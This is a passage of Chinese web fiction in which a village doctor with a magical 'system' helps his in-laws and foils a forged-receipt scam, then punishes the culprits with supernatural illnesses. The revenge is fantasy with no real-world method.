从所长办公室出来,于得水领着张玖博,填档案,按手印。 然后又领他到库房,将一套崭新的蓝色警服、一顶大檐帽、一个武装带连同锃亮的皮鞋,一整套地交到他手上。 当张玖博换上那身笔挺的警服,看着镜子里那个既熟悉又陌生的自己时,眼眶一热,险些掉下泪来。 他和张钱一起走出派出所大门,林秋红正在外面焦急地踱步。 当她看到穿着一身警服走出来的丈夫时,整个人都愣住了,捂着嘴,眼泪瞬间就涌了出来。 “张队,这是我婆娘,林秋红。”张玖博还有些不习惯自己的新身份,但介绍起来,腰杆却挺得笔直。 “弟妹!”张钱爽朗地打了个招呼。 林秋红擦了擦眼泪,连忙上前一步,对着张钱微微鞠了一躬,“张队长,俺家玖博嘴笨,人也憨,以后要是有什么做不对的地方,您多担待,多教教他。” 一番话说得得体又漂亮,让张钱对这个农村妇女也高看了几分。 告别了张钱,张玖博拉着林秋红,第一件事不是回家,而是直奔镇上的照相馆,拍证件照。 而后,夫妻俩又去了供销社,破天荒地割了二斤肉,打了半斤酒,买了一包平日里舍不得吃的点心。 第96章 要是有人给你穿小鞋,和我讲 踩着月色,两个人一深一浅地走在回村的土路上。 林秋红手里拎着那网兜里的肉和点心,感觉沉甸甸的。 “当家的,”她用胳膊肘轻轻碰了碰张玖博,“你算算,咱今天花了多少?” 张玖博的脑子还有点懵,闻言下意识地开始盘算:“照相五毛,二斤肉一块五毛二,半斤白干四毛,点心六毛五……拢共……拢共三块零七分。” 三块零七分! 这在平时,是他们家半个多月的嚼用。 林秋红吸了吸鼻子:“这钱花得值。可……可妹夫那个人情,怕是咱们这辈子都还不清了。” 张玖博重重地点头,他攥紧了拳头,骨节捏得发白:“何止是还不清!这份恩,比天大,比海深!往后,江沐但凡有句话,我张玖博就是上刀山下火海,也绝不皱一下眉头!” 回到家,两口子没先忙活自己,把东西小心翼翼地放下后,林秋红便催着张玖博,拎上那半斤酒和一包点心,直奔江沐家。 江沐正坐在院里的灯下,就着昏黄的光看一本半旧的医书。 见他们来了,放下书卷,脸上露出温和的笑意。 “嫂子,玖博哥,事情办妥了?” “妥了!妥了!”张玖博把手里的东西往石桌上一放道,“妹夫,多亏了你!这是……这是俺们两口子的一点心意,你可千万别嫌弃。” 江沐看了一眼,也没推辞,只是将张玖博拉到一边,声音不高,却字字清晰:“玖博哥,到了单位,人心复杂。要是有人给你穿小鞋,和我讲。” 这一句话,比任何安慰都让张玖博心安。 他感觉自己的后背,有一个坚实而可靠的靠山。 次日清晨,天刚破晓。 张玖博换上警服,对着镜子整了又整。 他走出屋,正看到岳父张峰扛着锄头,背上背篓,一副又要上山的架势。 他连忙上前一步拦住:“爹,您别去了。天还早,多歇歇。往后家里有我,我一个月有二十七块五的工资,够咱们家嚼用了!” 这话是他憋了一晚上的肺腑之言,充满了当家做主的自豪。 谁知,张峰那张脸,瞬间就拉了下来,眼睛一瞪,手里的锄头往地上一顿,震起一片尘土。 “你说的这是什么混账话!”他嗓门拔高,质问道,“怎么?穿上这身皮,就忘了自己姓啥了?忘了江沐那五百块钱的饥荒了?你想当那忘恩负义的白眼狼?!” 一连串的质问,张玖博瞬间涨红了脸,呐呐地不知如何是好。 林秋红闻声赶紧从屋里跑出来,一把拉住丈夫,对着张峰赔笑脸:“爹,您消消气,玖博不是那个意思。他就是……就是心疼您,看您天天下地爬山,太辛苦了。” 张峰的火气这才稍稍压下去一些,但依旧瞪着儿子,哼了一声:“我这把老骨头还硬朗得很!人情债比山还重,一天不还清,我一天睡不踏实!你给我记住了,咱老张家的人,可以穷,但不能没良心!” 张玖博被训得头都抬不起来。 他穿着一身崭新的警服走在村里,立刻成了最扎眼的风景。 田埂上、院门口,但凡见到他的村民,无不瞪大了眼睛。 很快,张家老大在公社派出所当上公安的消息,传遍了整个青莲公社。 这风声,自然也刮到了张峰的亲弟弟,张武的耳朵里。 午后,张峰刚从山上回来,一身的汗还没擦干,张武就揣着手,晃悠悠地进了院子。 “哥,忙着呐?哎呀,我可听说了,咱家玖博出息了,当上公安了!这可是光宗耀祖的大喜事啊!” 对于这个弟弟,张峰连眼皮都懒得抬一下。 当初爹娘在世,什么好东西都紧着这个小的; 爹娘一走,更是把老宅子都判给了他。 结果呢?游手好闲,学人赌钱,把家底败了个精光,连个正经活计都没有。 张峰闷着头喝水,并不搭腔。 张武也不尴尬,自顾自地凑上来,压低了声音。 “哥,你看,咱家大力,今年也十九了。没个工作,往后媳妇都不好找。你这有门路,能不能……也帮衬一把,把大力也弄进派出所去?” 闻言,张峰手里的粗瓷大碗重重地磕在桌上,水花溅了一地。 他抬起头,盯着张武,“就你家那个张大力?” 他冷笑一声,“一个油瓶倒了都不知道扶一下,饭来张口衣来伸手的废物点心!哪个好人家的姑娘是瞎了眼,嫁到你家去跳火坑?” 张武强辩道:“哥,话不能这么说,大力就是还没找着机会!他要是有了铁饭碗,能跟现在一样?” “我呸!”张峰一口唾沫星子差点喷到他脸上,“你也不撒泡尿照照自己!自己是个什么货色,就教出个什么东西!想走我家的门路?你做梦!赶紧给我滚!” 被戳到痛处,张武也恼了:“张峰!你别给脸不要脸!不就是你女婿有本事吗?你神气什么!有好事不想着自家兄弟侄子,你算什么当哥的!” “兄弟?”张峰气得浑身发抖,他抄起墙角的扁担,指着张武的鼻子,“我没你这种不争气的兄弟!老子今天就打死你这个不要脸的!” 眼看扁担就要落下来,张武吓得怪叫一声,转身就往外跑,连滚带爬地窜回了自己家,并把大门从里面闩得死死的。 张峰追到门口,对着紧闭的大门破口大骂:“从今往后,你走你的阳关道,我过我的独木桥!咱们老死不相往来!” 骂完,他才气喘吁吁地把扁担一扔,胸口剧烈地起伏着。 门内,张武拍着胸口,惊魂未定。 他透过门缝往外瞅了瞅,见张峰气冲冲地回了院子,才小声地嘀咕了一句。 “真是邪了门了,今儿是吃了枪药了?这么大火气……” 门内,张武还心有余悸地拍着胸脯,他婆娘王翠花从里屋门帘后头钻了出来,上下打量着他,嘴巴一撇。 “瞧你那点出息!被人拿着扁担撵出来,跟个丧家犬似的!事儿没办成,倒惹了一身骚!” 张武本就窝着火,被这么一激,脸涨得通红。 “你懂个屁!那张峰就是个茅坑里的石头,又臭又硬!我好声好气跟他商量,他倒好,直接动家伙!” “商量?”王翠花双手往腰上一叉,冷声道,“你那叫商量?你那是上门去讨饭!我早就跟你说了,咱家大力那块料,不是当公安的材料。你非不听,上赶着去碰一鼻子灰,现在好了,兄弟情分都给作没了!” 她越说越气,戳着张武的脑门:“嫁给你这种男人,真是倒了八辈子血霉!成事不足,败事有余!往后在村里,看咱们家的脸往哪儿搁!” 张武被骂得狗血淋头,一屁股墩坐在门槛上,抱着头,嘴里只是翻来覆去地嘟囔:“他张峰凭什么……凭什么……” 第97章 咱们这次挣了五十六块 张峰回到自家院里,那股怒气还没消。 他从墙角摸出自己的烟杆,也不说话,就那么抽着旱烟。 刘桂芝端了碗水出来,看他那张黑得像锅底的脸,心里也明白了几分,轻轻叹了口气。 “行了,为那种人生气,值当的吗?气坏了身子,谁替你受罪?” 她把水碗递过去,“赶紧喝口水润润,歇口气还得抓紧上山呢,这天时可不等人。” 张峰接过碗,灌下大半,怒气才平息熄了一点。 他把烟杆在鞋底上磕了磕,将烟灰抖落,然后抄起锄头,一言不发地出了门。 人活着,就得干活,哪有功夫为混账生气。 江沐的院子里,陆陆续续有人背着草药过来。 消息在村里传得飞快,今天下午张家兄弟俩那场惊天动地的干仗,早成了大家伙儿嘴里最热乎的谈资。 一个婶子一边让张小月称重,一边压低了声音,跟江沐描述:“哎哟,江医生你是没瞅见,那张峰抄着扁担,追着他亲弟弟打,从院里打到院外,那骂声,半个村子都听见了!说是要断绝关系呢!” 江沐只是淡淡地听着。 傍晚时分,张峰背着一篓子刚采的太白七药来了。 江沐给他倒了杯水,问了一句:“爸,听人说,你跟武叔吵架了?” 张峰将水碗重重往桌上一顿,水花四溅。 “别跟我提那个混账东西!我没他这个弟弟!” 他喘了两口粗气,随后对江沐道,“江沐,你记住了!往后,那一家子要是敢上门跟你借一分钱,或者求你办一件事,你一个子儿都别给,一句话都别搭理!就当我老张没这个亲戚!” 江沐心中了然,郑重地点了点头。 张峰前脚刚走没多久,张武背着一小袋干巴巴的药材,探头探脑地进了院子。 他把药材放下,眼睛却不看称,直勾勾地盯着江沐:“侄女婿,我听说了,玖博能进派出所,全是你给使的劲吧?” 江沐眼皮都没抬一下,专心致志地分拣着药材:“武叔说笑了,我一个下乡的知青,哪有那么大的本事?玖博哥能有今天,是他自己有能耐,赶上好时候了。” 张武的脸皮抽搐了一下,干脆也不绕弯子了,凑上来,开口。 “小江,你看,咱们都是亲戚,打断骨头还连着筋。我家大力……他也就比玖博差那么一点点。你这有门路,能不能……也帮衬一把?只要大力进了派出所,往后,你就是他亲哥!大力哥绝对忘不了你的好!” 江沐心里一阵冷笑。 大力哥?这个称呼从他嘴里说出来,怎么听怎么别扭。 他放下手里的活计,终于正眼看向张武,“武叔,我是真没那个本事。玖博哥进派出所这事儿,我也是他办成了才知道的。不信,你可以去问问我岳父,看他知不知道内情。” 他直接把皮球踢回给了张峰。 张武的脸瞬间就拉了下来,他本以为江沐是个年轻人,好拿捏,没想到却是个滚刀肉,软硬不吃。 “哼!不识抬举!”他丢下这么一句,抓起自己那袋子不值几个钱的药材,气呼呼地转身就走。 张小月从屋里出来,正好看到他怒气冲冲的背影,不禁蹙眉:“他来干啥?看那样子,像是来找茬的。” 江沐把刚才的事三言两语一说,张小月听完,气得脸都白了。 “他还真敢想!自家儿子什么德行,他心里没数吗?” 她随即有了主意,“这事你别管了,省得脏了你的手。明天我回娘家一趟,找我张兰姑姑去!让我姑姑骂他,看他们还敢不敢再起幺蛾子!” 江沐闻言失笑,这倒是个好办法。 转眼到了周一。 天刚亮,杨小军和他姐夫牛水生就来了。 “江医生!”杨小军人未到声先至,满脸兴奋,“药材我们来拉了!” 牛水生冲江沐憨厚地笑了笑。 杨小军看着院子里堆成小山的麻袋,咂了咂嘴:“家伙事儿还真不少。江医生,你得帮忙找两个人搭把手装车,我姐夫一个人可弄不动。放心,不白使唤人,装完车,一人一块钱!” 一块钱! 这在当时可是个大数目,顶一个壮劳力两天的工分了。 江沐心里早有人选,扬声就喊:“文哥!武哥!出来干活了!” 四个年轻人,干劲十足。 一个多时辰后,满满一卡车的药材就装得整整齐齐。 杨小军也是个爽快人,当场从兜里掏出两张崭新的一块钱,递给赵家兄弟,两人接过钱,连声道谢。 接着,杨小军便和江沐、张小月结算药材钱。 一番清点核对后,杨小军将一沓大团结拍在了石桌上。 送走卡车,张小月拿着算盘,手指翻飞,一通计算,最后抬起头,声音都有些发颤:“江沐……扣除所有成本,咱们这次挣了五十六块!” 五十六块钱! 江沐深对张小月温和一笑:“去,找姑父去,让他用大喇叭喊一喊,让大家伙儿来领钱了。” 很快,村里的大喇叭就响了起来:“通知!通知!所有卖过酸枣和草药的社员,都拿着你们手里的条子,到江医生家领钱!再重复一遍……” 江沐家门口瞬间排起了长龙。 江沐负责核对条子,确认无误后,张小月便从一个布袋里数出相应的钱款递过去。 两人一个沉稳仔细,一个麻利清脆,配合得天衣无缝。 然而,到了中午,一个尖嘴猴腮的女人挤到了最前面,将一张皱巴巴的纸条拍在了桌上。 江沐拿起来一看,眉头立刻就皱了起来。 他将那纸条举起来,对着阳光看了看随后道:“婶子,你这张条子不对。” “怎么不对了?白纸黑字写着呢,你可别想赖账!” 江沐的手指轻轻在那纸条上点了点:“第一,这上面的字,不是我媳妇写的。第二,我们开出去的条子,用的都是卫生院剩下的处方纸背面,你这张,就是普通的草纸。不信,” 他随手从旁边一个刚领完钱的大爷手里借过条子,“大家伙儿自己看,对比一下,是不是一清二楚?” 众人伸长了脖子一看,果然,两张纸条无论从字迹还是纸张上,都天差地别。 人群中立刻响起了窃窃私语。 眼看诡计败露,那妇女眼珠一转,竟一屁股坐在地上,双手拍着大腿,开始撒泼打滚,嚎啕大哭起来。 她这一闹,场面顿时有些混乱。 然而,江沐将那张假条子随手扔到一边,面无表情地对着后面排队的人喊了一声。 “下一位。” 那妇女的哭嚎声戛然而止,猛地从地上一跃而起,面目狰狞地朝桌子扑了过来! 第98章 你们就是这么报答救命恩人的 然而,她快,有人比她更快。 电光火石之间,江沐只觉得怀里一沉,那个鼓鼓囊囊的布袋子已经被张小月塞了进来。 他还没反应过来,就见自己的新婚妻子迎着那妇女就冲了上去! 张小月平日里看着温婉,此刻却爆发出了惊人的力量。 她侧身一闪,躲开对方抓挠过来的爪子,反手一拧,擒住那妇女的手腕,随即一脚干净利落地踹在她腿窝上! 撒泼的妇女惨叫一声,整个人便不受控制地跪倒在地。 “不要脸的烂货!想占便宜想疯了你!”张小月柳眉倒竖,手上力道不减,死死按着那女人的肩膀,让她动弹不得。 嘴里更是骂开了,“我们家江沐心善,看你们日子不容易,才想办法带大家伙儿挣钱!你倒好,揣着坏心烂肚肠来讹人!今天我非得替天行道,撕烂你这张臭嘴!” 江沐彻底看呆了。 他前世见惯了手术台上的血,却从未见过如此生猛的乡下婆娘打架。 张小月那套行云流水的动作,快、准、狠,简直像是练过一样! 排队等着领钱的乡亲们也被这突如其来的变故惊了一下,但随即反应过来,这婆娘是想砸大家的饭碗啊!这还能忍? “打!给我狠狠地打!” “这黑心肝的玩意儿,就该好好教训教训!” “小月,别怕,婶子们给你撑腰!” 几个脾气火爆的婶子立刻围了上来,虽没动手,却也七嘴八舌地帮着张小月骂,唾沫星子横飞,瞬间就将那妇女的气焰给压了下去。 “谁!谁敢欺负我侄女!”一声中气十足的叫喊从人群外传来。 众人回头一看,只见张兰风风火火地拨开人群挤了进来,她手里还拿着个纳了一半的鞋底,看样子是听到动静,活儿都顾不上干就跑过来了。 她一眼就看到被张小月按在地上的女人,二话不说,冲上去就要加入战团,生怕自家侄女吃了亏。 “都给我住手!” 李有柱黑着一张脸,分开众人,大步流星地走了进来。 他身后还跟着几个民兵,个个神情严肃。 他扫视一圈,目光最后落在被压制的女人身上,眉头拧成了个疙瘩:“这是谁家的婆娘?这么没王法!” 人群里立刻有人认了出来,小声嘀咕:“好像……是一大队刘有庆家的,叫孙桂芬。” “一大队的?”李有柱的脸色更黑了,他直接对身边一个民兵下了命令,“去,把一大队的刘满意,还有那个刘有庆,都给我叫过来!就说我们二大队出了贼!” 李有柱转过身,看向江沐,语气缓和了些,却依旧带着火气:“江沐,咋回事?” 江沐这才从震惊中回过神,他将那张伪造的条子递过去,三言两语把孙桂芬想浑水摸鱼,用假条子骗钱的事说得清清楚楚。 李有柱接过条子,跟旁边人手里的真条子一对比,立刻明白。 他指着地上还在哼哼唧唧的孙桂芬,怒极反笑:“好啊,真是好样的!手都伸到我们二大队来了!” 他盯着孙桂芬,“我再问你一遍,这假条子,是不是你拿来的?” 孙桂芬被他看得心里发毛,但事已至此,只能死扛到底。 “行!”李有柱见她不说话,也不再废话,直接拍板,“江沐,这事没完!咱们直接报公安!让派出所的同志来处理!你,继续发钱!谁也别想耽误大家伙儿领辛苦钱!” 有了李有柱坐镇,秩序很快恢复。 片刻功夫,一大队的队长刘满意就带着一个蔫头耷脑的汉子匆匆赶了过来。 刘满意一脸的莫名其妙,人还没站稳就问:“有柱哥,你这火急火燎的,到底出了啥大事?” 李有柱看都懒得看他,直接把那张假条子甩到他脸上:“刘满意,你自个儿看看!看看你们一大队的好社员,干的好事!” 刘满意捡起纸条,又听旁边人七嘴八舌一说,也明白了,他怎么也没想到,自己队里的人会干出这么丢人现眼的缺德事! 他转头,瞪着身后的刘有庆:“说!这到底是怎么回事!” 刘有庆低着头,嘴唇哆嗦着,一个字也说不出来。 李有柱冷哼一声,盯着刘满意:“刘满意,我李有柱今天就把话撂这儿!上次山里下暴雨,塌了方,是谁家的小知青,不顾自己安危,跟着我们二大队的人去给你们治病,是江沐! 他救了你们队里多少条人命!如今,我们二大队好不容易跟着江沐有了点挣钱的门路,你们的人不感恩也就算了,还跑来我们这儿坑蒙拐骗!你们就是这么报答救命恩人的?” 刘满意脸上火辣辣的,恨不得找个地缝钻进去。 刘有庆更是浑身一颤,面如死灰。 “有柱哥,这事……这事是我们不对!”刘满意深吸一口气,他知道今天这事要是不处理好,他们一大队的脸就彻底丢尽了。 他猛地一拍刘有庆的后背,“你个怂货!还不给老子说实话!” 见刘有庆还是不吭声,刘满意彻底爆发了,“行!你不说是吧?那咱们就去派出所说清楚!报公安!” 李有柱接过了话头:“没错,必须报公安!这种行为,性质太恶劣了!刘满意,我今天也把丑话说在前头,从今往后,我们二大队收草药,再不收你们一大队一根草!你们有本事,自己摘了去公社卖!” 这话说得极重,等于是直接断了一大队的财路。 刘满意知道李有柱是真动了怒,连忙表态:“有柱哥,你消消气!这事我绝不姑息!我亲自押着这两个不要脸的东西去派出所!给江医生一个交代,也给我们一大队清理门户!” 说完,他也不等李有柱再开口,上前一把拽起还在地上的孙桂芬,又踹了一脚刘有庆,怒吼道:“走!去派出所!” 李有柱和刘满意,两个大队长,亲自押着刘有庆夫妇,在全村人的注视下,朝着公社派出所的方向走去。 傍晚时分,李有柱回来了,跟他一起回来的,还有穿着一身制服的张玖博和另一个公安张钱。 他们仔细地询问了江沐和几个在场的村民,一一做了笔录。 送走张钱后,张玖博留了下来,他看着院子里已经恢复平静,才对江沐压低了声音。 “妹夫,都招了。到了所里,那刘有庆就把所有事都推到他婆娘身上了,说都是孙桂芬出的馊主意,是他一时糊涂才跟着犯错。 孙桂芬伪造票据,扰乱公共秩序,数额虽然不大,但影响极其恶劣,估计……得在里头待上个三年左右。” 第99章 她这回,可算是遭了老罪了 三年? 太便宜她了。 对于这种敢把主意打到他家人头上,砸大家饭碗的烂人,仅仅是关进去,怎么够? 江沐心中一动,意识沉入了脑海中的声望商城。 选择疾病收集器。 “系统,锁定拘留所内的刘有庆、孙桂芬。” 【叮!目标已锁定。】 江沐的意识在疾病列表里扫过。 “重度风湿关节炎……嗯,这个不错,让他们尝尝骨头缝里冒寒气的滋味。” “急性荨麻疹……这个也得安排上,让他们痒到怀疑人生。” “周期性偏头痛……再附赠一个间歇性耳鸣。” 他毫不吝啬地将几个最折磨人的病症打包,直接丢了过去。 做完这一切,他心中那股郁气才算消散了些许。 …… 与此同时。 公社的临时拘留室里,孙桂芬和刘有庆正背对背地坐在冰冷的地面上。 “都怪你个没用的怂货!要不是你拦着,我早把钱抢到手了!”孙桂芬还在喋喋不休地咒骂。 刘有庆耷拉着脑袋,一言不发,心里却把这个婆娘骂了千百遍。 突然,他觉得脖子后面一阵奇痒。 他忍不住伸手去挠,却越挠越痒,很快,那股痒意瞬间蔓延到了全身! “哎哟!痒!痒死我了!”刘有庆怪叫起来,疯了似的在身上抓挠。 旁边的孙桂芬还没来得及嘲笑他,就感觉自己膝盖的关节处传来一阵钻心的刺痛。 紧接着,那股痛感迅速扩散到全身的骨头缝里,疼得她一嗓子叫了出来,整个人蜷缩成了一团。 “疼!我的腿!我的骨头要断了!” 两个人一个痒得满地打滚,一个疼得鬼哭狼嚎,把外面值班的民警都给惊动了。 民警打开门上的小窗,不耐烦地朝里面吼了一嗓子:“嚎什么嚎!大半夜的不睡觉,都给老子安分点!再作妖,明天就让你们去挑大粪!” 说完,小窗又被关上了。 屋里的两个人彻底绝望了。 …… 江沐家的小院里。 张小月已经收拾好了桌椅,正端着一盆水准备进屋洗漱。 江沐看着她忙碌的背影,想起下午她那干净利落的一脚,忍不住轻笑出声。 “笑什么?”张小月回头,白了他一眼。 “没什么。”江沐走上前,接过她手里的水盆,“就是没想到,我家小月平时看着文文静静的,动起手来,跟个小老虎似的,真威风。” 张小月俏脸一红,耳根都有些发烫,她嗔怪地捶了江沐一下,嘴里却哼哼唧唧地辩解:“谁让她那么气人!张嘴就骂,还想骗钱!我那是替天行道!” “是是是,替天行道。”江沐笑着点头,眼里的宠溺几乎要溢出来。 而在他们享受着温馨的二人世界时,派出所那边却又一次乱了起来。 刘有庆两口子的情况急转直下,不只是又疼又痒,更是烧得开始说胡话,整个人都快奄奄一息了。 值班民警这下也慌了,生怕人在他们这儿出了事,连忙打电话叫来了公社卫生院的医生。 医生打着哈欠过来,拿体温计一量,嚯,快四十度了! “就是着凉了,发高烧。”医生草草诊断,给两人一人打了一针退烧针,留下几片药就匆匆离开了。 派出所的人嫌麻烦,连夜就把手续办了,直接将这两个烫手山芋送到了县里的看守所。 看守所里住着的,哪个是善茬? 刘有庆和孙桂芬被高烧和病痛折磨得整晚都在哼哼唧唧,鬼哭狼嚎。 同监室的犯人睡得正香,被他们吵得心烦意乱,二话不说,直接拖过来就是一顿拳打脚踢。 “妈的!新来的不懂规矩是吧?再叫唤一声,腿给你打断!” 刘有庆被打得鼻青脸肿,屁都不敢再放一个。 女监那边更是凶险。 孙桂芬本就是个欺软怕硬的,被几个膀大腰圆的女犯一顿收拾。 第二天,她找了个机会偷偷向看守告状。 结果,看守也只是不痛不痒地警告了那几个女犯几句。 这下可好,孙桂芬彻底捅了马蜂窝,把整个监室的人都得罪了。 从那天起,洗衣、刷厕所的活儿全是她的,饭也只能吃别人剩下的,晚上睡觉更是被挤在最臭的茅房边上。 她这回,可算是遭了老罪了。 刘有庆和他媳妇被抓起来判刑的事,几天之内就传遍了周围几个生产队。 大家伙儿听说了前因后果,都对着一大队的方向啐唾沫。 刘有庆他爹更是气得当众放话,就当没生过这个儿子,以后是死是活,都跟老刘家没关系了! 转眼又到了周一。 杨小军骑着自行车,准时出现在了江沐家门口。 “江医生,我可是听说了,前几天你这儿出了点事?”杨小军一进门,就压低了声音。 江沐点了点头,没细说。 杨小军却是个明白人,他从怀里掏出一个厚厚的信封,直接塞给江沐。 “江医生,这是两千块钱,你先拿着。以后结款,就这么办,我先把钱给你,你直接给乡亲们发现金,省得再出什么幺蛾子。不够的,你先垫上,下次我再补给你。” 这番话,让江沐心里一暖。 杨小军这人,能处! “行,那就多谢了。” “咱俩谁跟谁!”杨小军嘿嘿一笑,话锋一转,“对了,江医生,上次我跟你提的那个滋补丹,你琢磨得怎么样了?” 江沐胸有成竹:“下周一,你过来拿,先给你一千颗。” “一千颗!”杨小军眼睛都亮了,“太好了!江医生,你可真是我的活菩萨!” 送走杨小军,第二天,江沐就开始忙活起来。 他把院门一关,将早就准备好的几十种草药一一搬了出来,在院子里支起一口大锅,开始熬制药液。 浓郁的药香很快弥漫了整个小院。 张小月好奇地凑过来,看着江沐熟练地控制着火候,往锅里添加各种药材。 药膏熬好后,江沐将其盛出,等稍微冷却后,便拉着张小月一起,坐在小板凳上开始搓药丸。 “小月,我跟你说个事。”江沐一边搓着药丸,一边开口。 “嗯?” “我跟那个杨小军,算是合伙做生意了。以后咱们做的这些药丸,都卖给他。” 张小月手上动作一停,有些担心:“这……这能行吗?不会被当成投机倒把抓起来吧?” “放心,我有分寸。”江沐安抚地拍了拍她的手,然后凑到她耳边,用只有两个人能听到的声音,轻轻吐出一个数字,“我们做的这个药丸,一颗,至少能赚三块钱。” “三……三块?!” 张小月惊得手里的药丸都差点掉在地上。 在这个工人一个月工资才二三十块的年代,一颗小小的药丸,竟然能赚三块钱! 她看着江沐平静的侧脸,心脏怦怦直跳。 自己的男人,实在是太有本事了! 就在两人对未来的美好生活充满憧憬时,村口传来一阵骚动。 高建设气喘吁吁地跑了进来:“江沐!不好了!那个……那个刘有庆,他被放出来了!” 第100章 行了,这件事,到此为止 江沐只是淡淡地嗯了一声。 放出来又如何? 一个被重度风湿关节炎和急性荨麻疹日夜折磨的人,活着,有时候比死了更痛苦。 他江沐送出去的礼物,可没有那么容易退回来。 “你不担心?”高建设看着他这副云淡风轻的样子,有些疑惑,“那家伙可是个滚刀肉,万一他再来找麻烦……” “他不敢。”江沐的语气平静,却十分笃定。 他拍了拍手上的药渣,转向张小月,“小月,我得去一趟公社卫生院,领这个月的工资,顺便再拿点常用的药回来。” 张小月虽有担忧,但看着自家男人沉稳的眼神,便也安心地点了点头,“那你快去快回,路上小心。” …… 去往公社的土路在晨光下拉出长长的影子。 江沐推着自行车,不急不缓地走着。 就在公社大院前的岔路口,一个身影闯入了他的视线。 那人正是刘有庆。 几天不见,他整个人都干瘪了下去。 眼窝深陷,面色蜡黄,身上那件还算体面的褂子皱巴巴地挂在身上,像是挂在衣架上。 他佝偻着背,两只手不自觉地在身上抓挠着,走两步就要停下来捶一捶自己的膝盖,那副模样,比村里七八十岁的老头子还不如。 两人的目光在空中短暂交汇。 刘有庆低下头,脚步踉跄地拐向另一条小路,恨不得把自己缩进地缝里。 江沐连一个多余的眼神都懒得给他,径直走向卫生院。 “小江来了!正好,工资给你算出来了,二十八块五,你点点。”李院长热情地把一个薄薄的信封递过来,“另外,这是你上次要的红霉素软膏和一些纱布,都给你备好了。” 两人又聊了几句卫生院的近况,江沐才告辞离开。 路过邮局时,他鬼使神差地停下了脚步。 犹豫片刻,他还是走了进去,花两分钱买了一张信纸和一个信封。 提笔时,千言万语涌上心头,最终却只化作了寥寥数行字。 他没有提这里的艰苦,更没有提那些糟心事,只是简单地告知父亲江东山,自己在这边已经安顿下来,娶了媳妇,一切都好,勿念。 将信塞进绿色的邮筒,江沐松了口气。 回到家,张小月正坐在院里的小板凳上,手里拿着针线活。 江沐将信的事情跟她说了一遍,又提了一嘴在岔路口碰到刘有庆的事。 张小月手上的动作一顿,秀眉微蹙,“他那样子……不会是遭报应了吧?” “谁知道呢。”江沐轻笑一声。 …… 与此同时,刘有庆回到一大队的消息,传遍整个村子。 田间地头,院里院外,到处都是压低了声音的议论。 “听说了吗?刘家那个不孝子回来了!” “啧啧,这才几天啊,咋就跟个痨病鬼似的?” “活该!敢动江医生的主意,没让他把牢底坐穿都是便宜他了!” 刘有庆在一片指指点点中,埋着头,几乎是逃回了家。 家门被他重重关上,隔绝了外面的视线,却隔绝不了家里的滔天怒火。 “你个孽障!还有脸回来!” 须发皆白的老爹刘老汉浑身哆嗦着,抄起门后的拐杖,劈头盖脸地就朝刘有庆身上砸去! “我们老刘家的脸,几辈人的名声,全被你和你那个搅家精婆娘给败光了!” 刘有庆站在原地,不躲不闪,任由那根结实的木拐杖一下下地抽在自己身上。 他咬着牙,额头上青筋暴起,却硬是一声没吭。 直到看见老爹打得气喘吁吁,他才沙哑着开口。 “爹,您别打了,当心……闪了您的腰。” 刘老汉丢开拐杖,一屁股跌坐在板凳上,浑浊的老眼里噙满了泪水,指着刘有庆的手指抖得不成样子。 “我……我没你这个儿子!你给我滚!” 良久,刘老汉像是下定了什么决心,猛地站起身,一把拽住刘有庆的胳膊。 “走!跟我走!去给江医生磕头赔罪!” 刘老汉拖着儿子去江沐家道歉的消息,瞬间又成了村里的头条新闻。 不少人跟在后面,想看个究竟。 刚从地里回来的刘满意一听这事,脸色一变,也立刻扔下锄头跟了上去。 江沐家的小院门口,很快就围了一圈人。 刘老汉一眼就看到了院里的江沐,他浑身一颤,松开了儿子的胳膊,那张布满皱纹的老脸涨得通红。 他认得江沐。 上次山里发泥石流,他的腿被滚落的石头砸伤了,血流不止,就是这个年轻的城里娃,不眠不休地帮他清创、缝合,保住了他这条老腿。 救命恩人呐! 可自己的混账儿子,却恩将仇报! “江……江医生……”刘老汉的声音带着哭腔,双腿一软,竟是要当场跪下去。 江沐眼疾手快,一步上前扶住了他,“老爷子,您这是干什么!使不得!” “使得!使得啊!”刘老汉老泪纵横,“我这条老命是您救的,可我这孽障……他对不住您啊!我今天就是打死他,也难解我心头的愧疚!” 江沐扶着老人,“老爷子,事情已经过去了,就别再提了。” 他越是这么说,刘老汉心里就越不是滋味。 人家江医生大度,不计较,可他们老刘家不能不要脸! 他心一横,挣开江沐的手,正准备再次下跪,却被一旁的刘满意死死拉住。 “老爷子,您这是干啥!江医生不是那种小肚鸡肠的人!” 江沐无奈地看了一眼刘满意,示意他劝好老人。 刘满意赶紧扶着刘老汉。 可刘老汉却依旧不依不饶,他猛地一回头,对着还杵在那里的刘有庆就是一声怒吼。 “你个畜生!还站着干什么?给我跪下!” 这一声吼,用尽了刘老汉全身的力气。 刘有庆身子一僵,在全村人的注视下,双膝重重地砸在了坚硬的土地上。 这一次,江沐没有再拦。 他就那么静静地站着,居高临下地看着跪在自己面前的男人。 整个院子,霎时间鸦雀无声。 半晌,江沐才缓缓开口,声音不大,却清晰地传到每个人耳朵里。 “行了,这件事,到此为止。” 话音落下,刘满意一个激灵,赶紧手忙脚乱地把刘有庆从地上拽了起来,嘴里还不停地念叨。 “听见没?江医生说了,这事儿过去了!让你别多想!他不是那种人!” 刘老汉带着儿子,失魂落魄地走了。 看热闹的村民也渐渐散去。 一大队的队长李有柱不知什么时候也来了,他走到江沐身边,重重地拍了拍他的肩膀。 “江沐啊,那老头子没啥坏心思,就是个爱钻牛角尖的老实人,你别往心里去。” 第101章 给她!分她一半 这几天,院门口排队卖酸枣的队伍明显短了不少。 后山上的野酸枣就那么多,被村里人搜刮了一遍,也采摘得七七八八了。 不过,村里人的脸上却都洋溢着喜悦。 就这么十来天的光景,靠着卖酸枣,家家户户少说也挣了十几二十块钱。 在这买一斤猪肉都要一两个月工分的年头,这笔钱无疑是一笔巨款,足够让一家人过上一个肥年了。 因此,村里人看江沐的眼神,除了敬畏,更多了真切的感激。 就连之前和他结下梁子,差点被他用痒痒粉折磨疯的赵虎,如今见了面,也是一口一个江沐兄弟,叫得比谁都亲热。 说曹操,曹操就到。 正是赵虎和他那沉默寡言的老爹,赵老汉,出现在门口。 “江沐兄弟,在家呐!”赵虎黝黑的脸上挂着憨厚的笑,手里还小心翼翼地捧着一个用布包裹着的东西。 自从被江沐那神不知鬼不觉的手段收拾了一顿,赵虎像是脱胎换骨。 不仅戒了赌,连酒都很少喝了,整天跟着他爹下地、上山,人勤快了,话也少了,村里人提起他,都忍不住啧啧称奇。 “虎子哥,赵大叔,快进来。”江沐笑着迎了上去。 